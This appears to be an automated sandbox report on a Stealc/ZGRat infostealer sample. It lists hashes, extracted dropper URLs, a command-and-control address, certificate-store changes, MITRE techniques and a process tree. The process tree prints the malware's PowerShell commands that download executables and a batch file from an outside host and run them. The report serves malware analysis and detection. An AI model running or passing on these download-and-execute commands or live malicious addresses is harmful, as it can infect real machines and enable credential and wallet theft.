stealc | 7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9

Analysis

max time kernel
150s
max time network
155s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
06-05-2024 22:48

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General

Target

7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
Size

49KB
MD5

705685a8deace858e7fc849471c045f3
SHA1

10132365b465a6f231c8e292f462c2d005b4f9b0
SHA256

7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9
SHA512

b9dd7d5ca384ff4ad053d5f01d721f1180b1028e40c96cd94e04f2b2965e2f4be6cf4d2595f67c3e62039320b517e32200ffec165a9c544344d666732a57c56d
SSDEEP

1536:XferrLkSRoe8C4UZsys0Dh1duFpyFI+Plt:Xfi3k+oWDBDh1duFpXWlt

Score

10^/10

stealc zgrat discovery execution rat spyware stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000

Extracted

Family

stealc

http://185.172.128.150

Attributes

url_path
/c698e1bc8a2f5e6d.php

Signatures

Detect ZGRat V1 3 IoCs

resource	yara_rule
behavioral1/memory/2620-279-0x0000000000090000-0x00000000038C4000-memory.dmp	family_zgrat_v1
behavioral1/memory/2620-280-0x000000001EEF0000-0x000000001EFFA000-memory.dmp	family_zgrat_v1
behavioral1/memory/2620-284-0x000000001E8E0000-0x000000001E904000-memory.dmp	family_zgrat_v1

Stealc
Stealc is an infostealer written in C++.
stealer stealc
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Blocklisted process makes network request 4 IoCs

flow	pid	Process
18	1252	powershell.exe
19	1908	powershell.exe
20	1908	powershell.exe
21	1492	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 3 IoCs

pid	Process
2276	i1.exe
1756	u1r8.0.exe
764	u1r8.1.exe

Loads dropped DLL 12 IoCs

pid	Process
3000	7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
2708	cmd.exe
2276	i1.exe
2276	i1.exe
2276	i1.exe
2276	i1.exe
2276	i1.exe
2276	i1.exe
2276	i1.exe
2276	i1.exe
1756	u1r8.0.exe
1756	u1r8.0.exe

Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1252	powershell.exe
1908	powershell.exe
1492	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u1r8.1.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u1r8.1.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	u1r8.1.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	u1r8.0.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	u1r8.0.exe

Modifies system certificate store 2 TTPs 7 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 190000000100000010000000fd960962ac6938e0d4b0769aa1a64e26030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a1d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e709000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030353000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f00720069007400790000000f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6502000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6	7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 0f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 19000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca61d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e4090000000100000016000000301406082b0601050507030406082b060105050703010b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f006700690065007300000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a92000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\317A2AD07F2B335EF5A1C34E4B57E8B7D8F1FCA6\Blob = 040000000100000010000000a923759bba49366e31c2dbf2e766ba870f000000010000001400000007eeabaf80a9ef4ae1b2cb9b4b5fc70d0428e6a953000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c00b000000010000002e00000053007400610072006600690065006c006400200054006500630068006e006f006c006f0067006900650073000000090000000100000016000000301406082b0601050507030406082b06010505070301140000000100000014000000a848b4242fc6ea24a0d78e3cb93c5c78d79833e41d00000001000000100000005959ddbc9c7632ba0a05f06316846fe6030000000100000014000000317a2ad07f2b335ef5a1c34e4b57e8b7d8f1fca619000000010000001000000044ba5fd9039fc9b56fd8aadccd597ca62000000001000000eb020000308202e730820250020101300d06092a864886f70d01010505003081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d301e170d3939303632363030313935345a170d3139303632363030313935345a3081bb312430220603550407131b56616c69436572742056616c69646174696f6e204e6574776f726b31173015060355040a130e56616c69436572742c20496e632e31353033060355040b132c56616c694365727420436c617373203220506f6c6963792056616c69646174696f6e20417574686f726974793121301f06035504031318687474703a2f2f7777772e76616c69636572742e636f6d2f3120301e06092a864886f70d0109011611696e666f4076616c69636572742e636f6d30819f300d06092a864886f70d010101050003818d0030818902818100ce3a71cae5abc8599255d7abd8740ef9eed9f655475965470e0555dceb98363c5c535dd330cf38ecbd4189ed254209246b0a5eb37cdd522d4ce6d4d67d5a59a965d449132d244d1c506fb5c185543bfe71e4d35c42f980e0911a0a5b393667f33f557c1b3fb45f647334e3b412bf8764f8da12ff3727c1b343bbef7b6e2e69f70203010001300d06092a864886f70d0101050500038181003b7f506f6f509499496238381f4bf8a5c83ea78281f62bc7e8c5cee83a1082cb18008e4dbda8587fa17900b5bbe98daf41d90f34ee218119a0324928f4c48e56d55233fd50d57e996c03e4c94cfccb6cab66b34a218ce5b50c323e10b2cc6ca1dc9a984c025bf3ceb99ea5720e4ab73f3ce61668f8beed744cbc5bd5621f43dd	7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A	7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\AD7E1C28B064EF8F6003402014C3D0E3370EB58A\Blob = 0f00000001000000140000000f6aad4c3fe04619cdc8b2bd655aa1a26042e6500b000000010000005400000053007400610072006600690065006c006400200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030106082b0601050507030206082b0601050507030406082b06010505070303140000000100000014000000bf5fb7d1cedd1f86f45b55acdcd710c20ea988e71d000000010000001000000090c4f4233b006b7bfaa6adcd8f577d77030000000100000014000000ad7e1c28b064ef8f6003402014c3d0e3370eb58a2000000001000000130400003082040f308202f7a003020102020100300d06092a864886f70d01010505003068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137333931365a170d3334303632393137333931365a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100b732c8fee971a60485ad0c1164dfce4defc80318873fa1abfb3ca69ff0c3a1dad4d86e2b5390fb24a43e84f09ee85fece52744f528a63f7bdee02af0c8af532f9eca0501931e8f661c39a74dfa5ab673042566eb777fe759c64a99251454eb26c7f37f19d530708fafb0462affadeb29edd79faa0487a3d4f989a5345fdb43918236d9663cb1b8b982fd9c3a3e10c83bef0665667a9b19183dff71513c302e5fbe3d7773b25d066cc323569a2b8526921ca702b3e43f0daf087982b8363dea9cd335b3bc69caf5cc9de8fd648d1780336e5e4a5d99c91e87b49d1ac0d56e1335235edf9b5f3defd6f776c2ea3ebb780d1c42676b04d8f8d6da6f8bf244a001ab020103a381c53081c2301d0603551d0e04160414bf5fb7d1cedd1f86f45b55acdcd710c20ea988e73081920603551d2304818a3081878014bf5fb7d1cedd1f86f45b55acdcd710c20ea988e7a16ca46a3068310b300906035504061302555331253023060355040a131c537461726669656c6420546563686e6f6c6f676965732c20496e632e31323030060355040b1329537461726669656c6420436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100059d3f889dd1c91a55a1ac69f3f359da9b01871a4f57a9a179092adbf72fb21eccc75e6ad88387a197ef49353e7706415862bf8e58b80a673fecb3dd21661fc954fa72cc3d4c40d881af779e837abba2c7f534178ed91140f4fc2c2a4d157fa7625d2e25d3000b201a1d68f917b8f4bd8bed2859dd4d168b1783c8b265c72d7aa5aabc53866ddd57a4caf820410b68f0f4fb74be565d7a79f5f91d85e32d95bef5719043cc8d1f9a000a8729e95522580023eae31243295b4708dd8c416a6506a8e521aa41b4952195b97dd134ab13d6adbcdce23d39cdbd3e7570a1185903c922b48f9cd55e2ad7a5b6d40a6df8b74011469a1f790e62bf0f97ece02f1f1794	7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1252	powershell.exe
1908	powershell.exe
1492	powershell.exe
1756	u1r8.0.exe
2620	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2620	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2620	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2620	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
2620	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
1756	u1r8.0.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1252	powershell.exe
Token: SeDebugPrivilege	1908	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe
Token: SeDebugPrivilege	2620	SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
764	u1r8.1.exe
764	u1r8.1.exe
764	u1r8.1.exe
764	u1r8.1.exe
764	u1r8.1.exe
764	u1r8.1.exe
764	u1r8.1.exe

Suspicious use of SendNotifyMessage 7 IoCs

pid	Process
764	u1r8.1.exe
764	u1r8.1.exe
764	u1r8.1.exe
764	u1r8.1.exe
764	u1r8.1.exe
764	u1r8.1.exe
764	u1r8.1.exe

Suspicious use of WriteProcessMemory 36 IoCs

description	pid	Process	procid_target
PID 3000 wrote to memory of 2708	3000	7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe	28
PID 3000 wrote to memory of 2708	3000	7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe	28
PID 3000 wrote to memory of 2708	3000	7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe	28
PID 3000 wrote to memory of 2708	3000	7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe	28
PID 2708 wrote to memory of 1252	2708	cmd.exe	30
PID 2708 wrote to memory of 1252	2708	cmd.exe	30
PID 2708 wrote to memory of 1252	2708	cmd.exe	30
PID 2708 wrote to memory of 1252	2708	cmd.exe	30
PID 2708 wrote to memory of 1908	2708	cmd.exe	32
PID 2708 wrote to memory of 1908	2708	cmd.exe	32
PID 2708 wrote to memory of 1908	2708	cmd.exe	32
PID 2708 wrote to memory of 1908	2708	cmd.exe	32
PID 2708 wrote to memory of 2276	2708	cmd.exe	33
PID 2708 wrote to memory of 2276	2708	cmd.exe	33
PID 2708 wrote to memory of 2276	2708	cmd.exe	33
PID 2708 wrote to memory of 2276	2708	cmd.exe	33
PID 2708 wrote to memory of 1492	2708	cmd.exe	34
PID 2708 wrote to memory of 1492	2708	cmd.exe	34
PID 2708 wrote to memory of 1492	2708	cmd.exe	34
PID 2708 wrote to memory of 1492	2708	cmd.exe	34
PID 2708 wrote to memory of 892	2708	cmd.exe	35
PID 2708 wrote to memory of 892	2708	cmd.exe	35
PID 2708 wrote to memory of 892	2708	cmd.exe	35
PID 2708 wrote to memory of 892	2708	cmd.exe	35
PID 2276 wrote to memory of 1756	2276	i1.exe	37
PID 2276 wrote to memory of 1756	2276	i1.exe	37
PID 2276 wrote to memory of 1756	2276	i1.exe	37
PID 2276 wrote to memory of 1756	2276	i1.exe	37
PID 2276 wrote to memory of 764	2276	i1.exe	38
PID 2276 wrote to memory of 764	2276	i1.exe	38
PID 2276 wrote to memory of 764	2276	i1.exe	38
PID 2276 wrote to memory of 764	2276	i1.exe	38
PID 764 wrote to memory of 2620	764	u1r8.1.exe	40
PID 764 wrote to memory of 2620	764	u1r8.1.exe	40
PID 764 wrote to memory of 2620	764	u1r8.1.exe	40
PID 764 wrote to memory of 2620	764	u1r8.1.exe	40

C:\Users\Admin\AppData\Local\Temp\7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe
"C:\Users\Admin\AppData\Local\Temp\7ff9182009a077962d7c00b287caaa60fe7888e5d6cf6018c14f967a2441a3f9.exe"
1⤵
- Loads dropped DLL
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3000
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c "C:\Users\Admin\AppData\Local\Temp\nsd21C4.tmp\lood.bat"
  2⤵
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/th.php?a=2836&c=1000','stat')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1252
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "(New-Object Net.WebClient).DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=425&c=1000','i1.exe')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1908
- - C:\Users\Admin\AppData\Local\Temp\i1.exe
    i1.exe /SUB=2838 /str=one
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2276
  - - C:\Users\Admin\AppData\Local\Temp\u1r8.0.exe
      "C:\Users\Admin\AppData\Local\Temp\u1r8.0.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Checks processor information in registry
      Suspicious behavior: EnumeratesProcesses
      PID:1756
  - - C:\Users\Admin\AppData\Local\Temp\u1r8.1.exe
      "C:\Users\Admin\AppData\Local\Temp\u1r8.1.exe"
      4⤵
      Executes dropped EXE
      Checks SCSI registry key(s)
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:764
    - - C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe" /eieci=11A12794-499E-4FA0-A281-A9A9AA8B2685 /eipi=5488CB36-BE62-4606-B07B-2EE938868BD1
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2620
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell -command "$cli = New-Object System.Net.WebClient;$cli.Headers['User-Agent'] = 'InnoDownloadPlugin/1.5';$cli.DownloadFile('https://d2iv78ooxaijb6.cloudfront.net/load/dl.php?id=443&c=1000', 'i2.bat')"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1492
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /K i2.bat
    3⤵
    PID:892

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
33f71185d48f6675efbfca5510e93a07

SHA1
1d0975a85bbebe6fe417409d12c9ac95ac7ba923

SHA256
61702bc5693361bb018f1804acd8dff1b0dd3a5a8e2bef81cc53e24259a3f04b

SHA512
80a7685e4a2340cf3d728469b6580dcd293616515df03bb707a102c3997aab92991eb70bc33f690cef394822b07a1cc54e7d6d4b9c6fb56bfc534a05ddf335f8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\ApplicationInsights\049b7335d372bd07248452d0b58e37cfb8420ac5b148b226adcb19ae95655a7b\a386a4b0fc944d2e94a5d99d27f1db47.tmp

Filesize
1KB

MD5
fcb9e82a934733b3253239355616bb9e

SHA1
7b93e47f01d8e96732423112e422555af4c5dbf9

SHA256
5607d93511f5a07cf140c5570d3f08a0f06e619cf526b98d495428ad5ff01a89

SHA512
0c56158035d0a7ed378e6726e2d131bb724dfd4eabaea0cf2452cf6b538c73751cc8f10285061b416fb37b5517eb7c5862b75524300772f34e90fd445bac720c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar24E8.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

Filesize
2KB

MD5
3a15a1c473b04da5c2adfec0108dc619

SHA1
62a1a089317d10e8f8ba33ef34a42c1a238689ad

SHA256
14500e08b9e05363c124d8b9002bfd69226b5f41b1fff0c4d66b16a1fb018ef1

SHA512
35468f5421b8e5fc02aad2924b5ef56ec84c21d942157dd55279a653e6db47e8d59dae27f2eeef739d26fd8d0a68ecf82d84b1043db12243f98b2c744cc9a834

Download Submit
C:\Users\Admin\AppData\Local\Temp\iolo\dm\ioloDMLog.txt

Filesize
3KB

MD5
480031632eb849d3141c02536a479d28

SHA1
063dbddac9c40fd7878517b2b1c56e8e7729d498

SHA256
c10182e39bd4064606a6af5f00e64b801002d669aa19b587f7e7d4abe31586e1

SHA512
dc09a696356e76bb3d6ae8d5a31e1b2529e4213d8238f2403840a33c0a845fcd18e396cc91abd2a84b4bdf181a93c1dd2495cd3f28571f21109b6072beacddcd

Download Submit
